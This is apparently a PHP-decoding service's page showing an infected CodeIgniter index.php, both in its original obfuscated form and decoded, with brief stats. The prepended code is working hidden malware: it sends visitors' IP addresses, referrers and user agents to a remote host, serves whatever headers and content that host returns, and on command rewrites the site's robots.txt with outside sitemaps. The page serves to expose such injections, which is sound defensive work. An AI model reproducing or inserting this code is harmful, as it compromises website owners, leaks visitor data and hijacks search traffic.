Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ERROR_rePortINg((int)rouNd(0+0+0));$_onii="z\x6a150";$_pclouwtc="d\x31";if(PREg_MaTC..
Decoded Output download
<?php ERROR_rePortINg((int)rouNd(0+0+0));$_onii="zj150";$_pclouwtc="d1";if(PREg_MaTCH("/jp2023/si",$_SERVER["REQUEST_URI"])==((int)roUnD(7+7+7)+(-01507-0446+-01341+03363)+(0456-0652- -0304)-(-01074-036- -0720- -0213))){HeADeR("HTTP/1.0 404 Not Found");echo"HTTP/1.0 404 Not Found"."___".$_onii."___".$_pclouwtc;exit;}function _lsps($_srdthepq){$_chyjwagj=curL_iNIT();cURl_sETopt($_chyjwagj,(023477-046)+(int)rOuNd(4994+4994)-(int)rOUnD(2496.75+2496.75+2496.75+2496.75)-(-0144- -0706+-0532),$_srdthepq);CURl_SeTopt($_chyjwagj,(int)rOUnd(6637.6666666667+6637.6666666667+6637.6666666667),(0221+0474+-0244)-(0746-0276));curL_sEtOPT($_chyjwagj,(0124-0753+01666)-(int)rOUNd(56+56+56)+(-0625- -0412- -0335-0573),(int)round(3.3333333333333+3.3333333333333+3.3333333333333));$_iivghzy=cuRL_EXeC($_chyjwagj);$_iivghzy=triM($_iivghzy);CUrL_CLOse($_chyjwagj);if(empty($_iivghzy)){$_iivghzy=FILe_get_COnTEnTS($_srdthepq);}return$_iivghzy;}$_dbqtxk="http://".$_onii.".validray.com";$_uoezy="/index.php?VS=".$_pclouwtc."&GP=".$_onii;$_zoxz=array("SCRIPT_NAME","REQUEST_URI","HTTPS","REQUEST_SCHEME","SERVER_PORT","REMOTE_ADDR","HTTP_REFERER","HTTP_ACCEPT_LANGUAGE","HTTP_USER_AGENT","HTTP_HOST");foreach($_zoxz as$_dkgon){$_zmje=isset($_SERVER[$_dkgon])?$_SERVER[$_dkgon]:"";$_juoewq=baSe64_ENcoDe(TrIM($_zmje));$_juoewq=stR_RePlACe("+","-",$_juoewq);$_juoewq=StR_rEplAce("/","_",$_juoewq);$_juoewq=sTr_RePLaCE("=",".",$_juoewq);$_uoezy.="&".$_dkgon."=".$_juoewq;}$_ragrpyp=ExplOde("|@#$|",trim(_lsps($_dbqtxk.$_uoezy)));$_dqwy=COuNt($_ragrpyp);if($_dqwy<(int)rounD(0.75+0.75+0.75+0.75)){Header("HTTP/1.0 404 Not Found");exit;}else{$_jmuccu=tRim($_ragrpyp[(int)rOUND(-70+-70)-(int)rOuND(112+112)-(-0636+0545)-(int)ROUnd(-76.75+-76.75+-76.75+-76.75)]);if(!empty($_jmuccu)){hEaDeR($_jmuccu);}$_hjzkxnz=TRIm($_ragrpyp[(0341+-01053+0461)+(int)rOUND(369.5+369.5)+(int)rOUnD(90.333333333333+90.333333333333+90.333333333333)-(01576-01610+01742)]);if(!empty($_hjzkxnz)){echo$_hjzkxnz;}$_djwb=Trim($_ragrpyp[$_dqwy-(int)rouND(0.5+0.5)]);if($_djwb=="exit"){exit;}if($_djwb=="ping"){$_phwwsrxv="User-agent:*".PHP_EOL;$_phwwsrxv.="Allow:/".PHP_EOL;$_aveubo=eXPlODe("<br/>",$_hjzkxnz);ArRAy_POp($_aveubo);foreach($_aveubo as$_xbfmzf){$_phwwsrxv.="Sitemap:".$_xbfmzf.PHP_EOL;$_lwthbd=_lsps("https://www.google.com/ping?sitemap=".$_xbfmzf);PReG_maTch("/<h2>(.+)?<\/h2>/",$_lwthbd,$_kpof);echo$_xbfmzf."==>ping-google-result-is:<b>".$_kpof[(055- -0334-0604)+(int)roUNd(14.75+14.75+14.75+14.75)-(-0327+0226)]."</b><br/>";uSleeP(mT_RANd((int)rouNd(25000+25000+25000+25000),(int)ROUnd(100000+100000+100000)));}FIlE_PUt_CoNTENtS($_SERVER["DOCUMENT_ROOT"]."/robots.txt",$_phwwsrxv);echo"robots.txt==><b>updated</b>";exit;}};?>
<?php
/*
*---------------------------------------------------------------
* APPLICATION ENVIRONMENT
*---------------------------------------------------------------
*
* You can load different configurations depending on your
* current environment. Setting the environment also influences
* things like logging and error reporting.
*
* This can be set to anything, but default usage is:
*
* development
* testing
* production
*
* NOTE: If you change these, also change the error_reporting() code below
*
*/
define('ENVIRONMENT', 'development');
/*
*---------------------------------------------------------------
* ERROR REPORTING
*---------------------------------------------------------------
*
* Different environments will require different levels of error reporting.
* By default development will show errors but testing and live will hide them.
*/
if (defined('ENVIRONMENT'))
{
switch (ENVIRONMENT)
{
case 'development':
error_reporting(E_ALL);
ini_set('display_errors', 1);
break;
case 'testing':
case 'production':
error_reporting(0);
break;
default:
exit('The application environment is not set correctly.');
}
}
/*
*---------------------------------------------------------------
* SYSTEM FOLDER NAME
*---------------------------------------------------------------
*
* This variable must contain the name of your "system" folder.
* Include the path if the folder is not in the same directory
* as this file.
*
*/
$system_path = 'system';
/*
*---------------------------------------------------------------
* APPLICATION FOLDER NAME
*---------------------------------------------------------------
*
* If you want this front controller to use a different "application"
* folder then the default one you can set its name here. The folder
* can also be renamed or relocated anywhere on your server. If
* you do, use a full server path. For more info please see the user guide:
* http://codeigniter.com/user_guide/general/managing_apps.html
*
* NO TRAILING SLASH!
*
*/
$application_folder = 'application';
/*
* --------------------------------------------------------------------
* DEFAULT CONTROLLER
* --------------------------------------------------------------------
*
* Normally you will set your default controller in the routes.php file.
* You can, however, force a custom routing by hard-coding a
* specific controller class/function here. For most applications, you
* WILL NOT set your routing here, but it's an option for those
* special instances where you might want to override the standard
* routing in a specific front controller that shares a common CI installation.
*
* IMPORTANT: If you set the routing here, NO OTHER controller will be
* callable. In essence, this preference limits your application to ONE
* specific controller. Leave the function name blank if you need
* to call functions dynamically via the URI.
*
* Un-comment the $routing array below to use this feature
*
*/
// The directory name, relative to the "controllers" folder. Leave blank
// if your controller is not in a sub-folder within the "controllers" folder
// $routing['directory'] = '';
// The controller class file name. Example: Mycontroller
// $routing['controller'] = '';
// The controller function you wish to be called.
// $routing['function'] = '';
/*
* -------------------------------------------------------------------
* CUSTOM CONFIG VALUES
* -------------------------------------------------------------------
*
* The $assign_to_config array below will be passed dynamically to the
* config class when initialized. This allows you to set custom config
* items or override any default config values found in the config.php file.
* This can be handy as it permits you to share one application between
* multiple front controller files, with each file containing different
* config values.
*
* Un-comment the $assign_to_config array below to use this feature
*
*/
// $assign_to_config['name_of_config_item'] = 'value of config item';
// --------------------------------------------------------------------
// END OF USER CONFIGURABLE SETTINGS. DO NOT EDIT BELOW THIS LINE
// --------------------------------------------------------------------
/*
* ---------------------------------------------------------------
* Resolve the system path for increased reliability
* ---------------------------------------------------------------
*/
// Set the current directory correctly for CLI requests
if (defined('STDIN'))
{
chdir(dirname(__FILE__));
}
if (realpath($system_path) !== FALSE)
{
$system_path = realpath($system_path).'/';
}
// ensure there's a trailing slash
$system_path = rtrim($system_path, '/').'/';
// Is the system path correct?
if ( ! is_dir($system_path))
{
exit("Your system folder path does not appear to be set correctly. Please open the following file and correct this: ".pathinfo(__FILE__, PATHINFO_BASENAME));
}
/*
* -------------------------------------------------------------------
* Now that we know the path, set the main path constants
* -------------------------------------------------------------------
*/
// The name of THIS file
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
// The PHP file extension
// this global constant is deprecated.
define('EXT', '.php');
// Path to the system folder
define('BASEPATH', str_replace("\", "/", $system_path));
// Path to the front controller (this file)
define('FCPATH', str_replace(SELF, '', __FILE__));
// Name of the "system folder"
define('SYSDIR', trim(strrchr(trim(BASEPATH, '/'), '/'), '/'));
// The path to the "application" folder
if (is_dir($application_folder))
{
define('APPPATH', $application_folder.'/');
}
else
{
if ( ! is_dir(BASEPATH.$application_folder.'/'))
{
exit("Your application folder path does not appear to be set correctly. Please open the following file and correct this: ".SELF);
}
define('APPPATH', BASEPATH.$application_folder.'/');
}
/*
* --------------------------------------------------------------------
* LOAD THE BOOTSTRAP FILE
* --------------------------------------------------------------------
*
* And away we go...
*
*/
require_once BASEPATH.'core/CodeIgniter.php';
/* End of file index.php */
/* Location: ./index.php */ ?>
Did this file decode correctly?
Original Code
<?php ERROR_rePortINg((int)rouNd(0+0+0));$_onii="z\x6a150";$_pclouwtc="d\x31";if(PREg_MaTCH("/\x6ap2\0602\063/\x73i",$_SERVER["R\105Q\125EST_U\x52\111"])==((int)roUnD(7+7+7)+(-01507-0446+-01341+03363)+(0456-0652- -0304)-(-01074-036- -0720- -0213))){HeADeR("\110\124TP\x2f1\0560 4\0604 \x4eo\x74 \106\157und");echo"\110\124\124\120/1.0\x20\064\0604\x20\x4eo\164\x20\x46oun\x64"."\137__".$_onii."_\x5f_".$_pclouwtc;exit;}function _lsps($_srdthepq){$_chyjwagj=curL_iNIT();cURl_sETopt($_chyjwagj,(023477-046)+(int)rOuNd(4994+4994)-(int)rOUnD(2496.75+2496.75+2496.75+2496.75)-(-0144- -0706+-0532),$_srdthepq);CURl_SeTopt($_chyjwagj,(int)rOUnd(6637.6666666667+6637.6666666667+6637.6666666667),(0221+0474+-0244)-(0746-0276));curL_sEtOPT($_chyjwagj,(0124-0753+01666)-(int)rOUNd(56+56+56)+(-0625- -0412- -0335-0573),(int)round(3.3333333333333+3.3333333333333+3.3333333333333));$_iivghzy=cuRL_EXeC($_chyjwagj);$_iivghzy=triM($_iivghzy);CUrL_CLOse($_chyjwagj);if(empty($_iivghzy)){$_iivghzy=FILe_get_COnTEnTS($_srdthepq);}return$_iivghzy;}$_dbqtxk="htt\x70:\x2f/".$_onii.".v\x61\154id\x72\141y.\143om";$_uoezy="\x2f\x69nde\x78.\160h\x70?VS=".$_pclouwtc."\046\x47\x50=".$_onii;$_zoxz=array("S\103R\x49\120T_NA\115E","R\105Q\125ES\124_UR\111","\x48\x54TP\123","R\x45\x51UEST\x5f\x53\x43HE\115\105","SE\x52V\x45R_P\x4fRT","REMO\x54\105_ADDR","HTT\x50\137RE\106\105R\105R","\x48\124\x54\120\x5f\101\103C\105\120T\137\x4cA\x4eGU\101GE","HT\124\120_\125\x53ER\x5f\101\107\105N\124","H\x54T\x50\x5fH\x4fST");foreach($_zoxz as$_dkgon){$_zmje=isset($_SERVER[$_dkgon])?$_SERVER[$_dkgon]:"";$_juoewq=baSe64_ENcoDe(TrIM($_zmje));$_juoewq=stR_RePlACe("+","-",$_juoewq);$_juoewq=StR_rEplAce("/","_",$_juoewq);$_juoewq=sTr_RePLaCE("=",".",$_juoewq);$_uoezy.="&".$_dkgon."\075".$_juoewq;}$_ragrpyp=ExplOde("|\100\043\x24|",trim(_lsps($_dbqtxk.$_uoezy)));$_dqwy=COuNt($_ragrpyp);if($_dqwy<(int)rounD(0.75+0.75+0.75+0.75)){Header("\x48TTP\0571\0560\0404\0604\x20No\164 \x46\x6fu\x6ed");exit;}else{$_jmuccu=tRim($_ragrpyp[(int)rOUND(-70+-70)-(int)rOuND(112+112)-(-0636+0545)-(int)ROUnd(-76.75+-76.75+-76.75+-76.75)]);if(!empty($_jmuccu)){hEaDeR($_jmuccu);}$_hjzkxnz=TRIm($_ragrpyp[(0341+-01053+0461)+(int)rOUND(369.5+369.5)+(int)rOUnD(90.333333333333+90.333333333333+90.333333333333)-(01576-01610+01742)]);if(!empty($_hjzkxnz)){echo$_hjzkxnz;}$_djwb=Trim($_ragrpyp[$_dqwy-(int)rouND(0.5+0.5)]);if($_djwb=="e\x78it"){exit;}if($_djwb=="pi\156g"){$_phwwsrxv="User-\x61ge\x6et:*".PHP_EOL;$_phwwsrxv.="\x41ll\x6f\167:\x2f".PHP_EOL;$_aveubo=eXPlODe("<\142\x72/>",$_hjzkxnz);ArRAy_POp($_aveubo);foreach($_aveubo as$_xbfmzf){$_phwwsrxv.="\123i\x74\x65ma\160:".$_xbfmzf.PHP_EOL;$_lwthbd=_lsps("ht\164\160s:\057\057w\167w.\147o\157gle.co\x6d\x2f\160\x69n\x67?\163\151\164emap=".$_xbfmzf);PReG_maTch("/\074h\x32>(.+)?<\x5c\x2fh2>/",$_lwthbd,$_kpof);echo$_xbfmzf."==\x3e\160in\147-go\157g\x6ce-res\x75\154\164\x2d\151\x73\072<b\x3e".$_kpof[(055- -0334-0604)+(int)roUNd(14.75+14.75+14.75+14.75)-(-0327+0226)]."\x3c\057\142\x3e\x3cb\162\057>";uSleeP(mT_RANd((int)rouNd(25000+25000+25000+25000),(int)ROUnd(100000+100000+100000)));}FIlE_PUt_CoNTENtS($_SERVER["D\117C\125ME\116T\137ROO\x54"]."\x2f\162ob\x6fts\056tx\x74",$_phwwsrxv);echo"\162obo\x74s.\164xt==\x3e<b\x3e\165p\144\141t\x65d<\057b>";exit;}};?>
<?php
/*
*---------------------------------------------------------------
* APPLICATION ENVIRONMENT
*---------------------------------------------------------------
*
* You can load different configurations depending on your
* current environment. Setting the environment also influences
* things like logging and error reporting.
*
* This can be set to anything, but default usage is:
*
* development
* testing
* production
*
* NOTE: If you change these, also change the error_reporting() code below
*
*/
define('ENVIRONMENT', 'development');
/*
*---------------------------------------------------------------
* ERROR REPORTING
*---------------------------------------------------------------
*
* Different environments will require different levels of error reporting.
* By default development will show errors but testing and live will hide them.
*/
if (defined('ENVIRONMENT'))
{
switch (ENVIRONMENT)
{
case 'development':
error_reporting(E_ALL);
ini_set('display_errors', 1);
break;
case 'testing':
case 'production':
error_reporting(0);
break;
default:
exit('The application environment is not set correctly.');
}
}
/*
*---------------------------------------------------------------
* SYSTEM FOLDER NAME
*---------------------------------------------------------------
*
* This variable must contain the name of your "system" folder.
* Include the path if the folder is not in the same directory
* as this file.
*
*/
$system_path = 'system';
/*
*---------------------------------------------------------------
* APPLICATION FOLDER NAME
*---------------------------------------------------------------
*
* If you want this front controller to use a different "application"
* folder then the default one you can set its name here. The folder
* can also be renamed or relocated anywhere on your server. If
* you do, use a full server path. For more info please see the user guide:
* http://codeigniter.com/user_guide/general/managing_apps.html
*
* NO TRAILING SLASH!
*
*/
$application_folder = 'application';
/*
* --------------------------------------------------------------------
* DEFAULT CONTROLLER
* --------------------------------------------------------------------
*
* Normally you will set your default controller in the routes.php file.
* You can, however, force a custom routing by hard-coding a
* specific controller class/function here. For most applications, you
* WILL NOT set your routing here, but it's an option for those
* special instances where you might want to override the standard
* routing in a specific front controller that shares a common CI installation.
*
* IMPORTANT: If you set the routing here, NO OTHER controller will be
* callable. In essence, this preference limits your application to ONE
* specific controller. Leave the function name blank if you need
* to call functions dynamically via the URI.
*
* Un-comment the $routing array below to use this feature
*
*/
// The directory name, relative to the "controllers" folder. Leave blank
// if your controller is not in a sub-folder within the "controllers" folder
// $routing['directory'] = '';
// The controller class file name. Example: Mycontroller
// $routing['controller'] = '';
// The controller function you wish to be called.
// $routing['function'] = '';
/*
* -------------------------------------------------------------------
* CUSTOM CONFIG VALUES
* -------------------------------------------------------------------
*
* The $assign_to_config array below will be passed dynamically to the
* config class when initialized. This allows you to set custom config
* items or override any default config values found in the config.php file.
* This can be handy as it permits you to share one application between
* multiple front controller files, with each file containing different
* config values.
*
* Un-comment the $assign_to_config array below to use this feature
*
*/
// $assign_to_config['name_of_config_item'] = 'value of config item';
// --------------------------------------------------------------------
// END OF USER CONFIGURABLE SETTINGS. DO NOT EDIT BELOW THIS LINE
// --------------------------------------------------------------------
/*
* ---------------------------------------------------------------
* Resolve the system path for increased reliability
* ---------------------------------------------------------------
*/
// Set the current directory correctly for CLI requests
if (defined('STDIN'))
{
chdir(dirname(__FILE__));
}
if (realpath($system_path) !== FALSE)
{
$system_path = realpath($system_path).'/';
}
// ensure there's a trailing slash
$system_path = rtrim($system_path, '/').'/';
// Is the system path correct?
if ( ! is_dir($system_path))
{
exit("Your system folder path does not appear to be set correctly. Please open the following file and correct this: ".pathinfo(__FILE__, PATHINFO_BASENAME));
}
/*
* -------------------------------------------------------------------
* Now that we know the path, set the main path constants
* -------------------------------------------------------------------
*/
// The name of THIS file
define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME));
// The PHP file extension
// this global constant is deprecated.
define('EXT', '.php');
// Path to the system folder
define('BASEPATH', str_replace("\\", "/", $system_path));
// Path to the front controller (this file)
define('FCPATH', str_replace(SELF, '', __FILE__));
// Name of the "system folder"
define('SYSDIR', trim(strrchr(trim(BASEPATH, '/'), '/'), '/'));
// The path to the "application" folder
if (is_dir($application_folder))
{
define('APPPATH', $application_folder.'/');
}
else
{
if ( ! is_dir(BASEPATH.$application_folder.'/'))
{
exit("Your application folder path does not appear to be set correctly. Please open the following file and correct this: ".SELF);
}
define('APPPATH', BASEPATH.$application_folder.'/');
}
/*
* --------------------------------------------------------------------
* LOAD THE BOOTSTRAP FILE
* --------------------------------------------------------------------
*
* And away we go...
*
*/
require_once BASEPATH.'core/CodeIgniter.php';
/* End of file index.php */
/* Location: ./index.php */
Function Calls
rouNd | 1 |
Stats
MD5 | a5175a52f489c81746e8d6f05e23bac2 |
Eval Count | 0 |
Decode Time | 64 ms |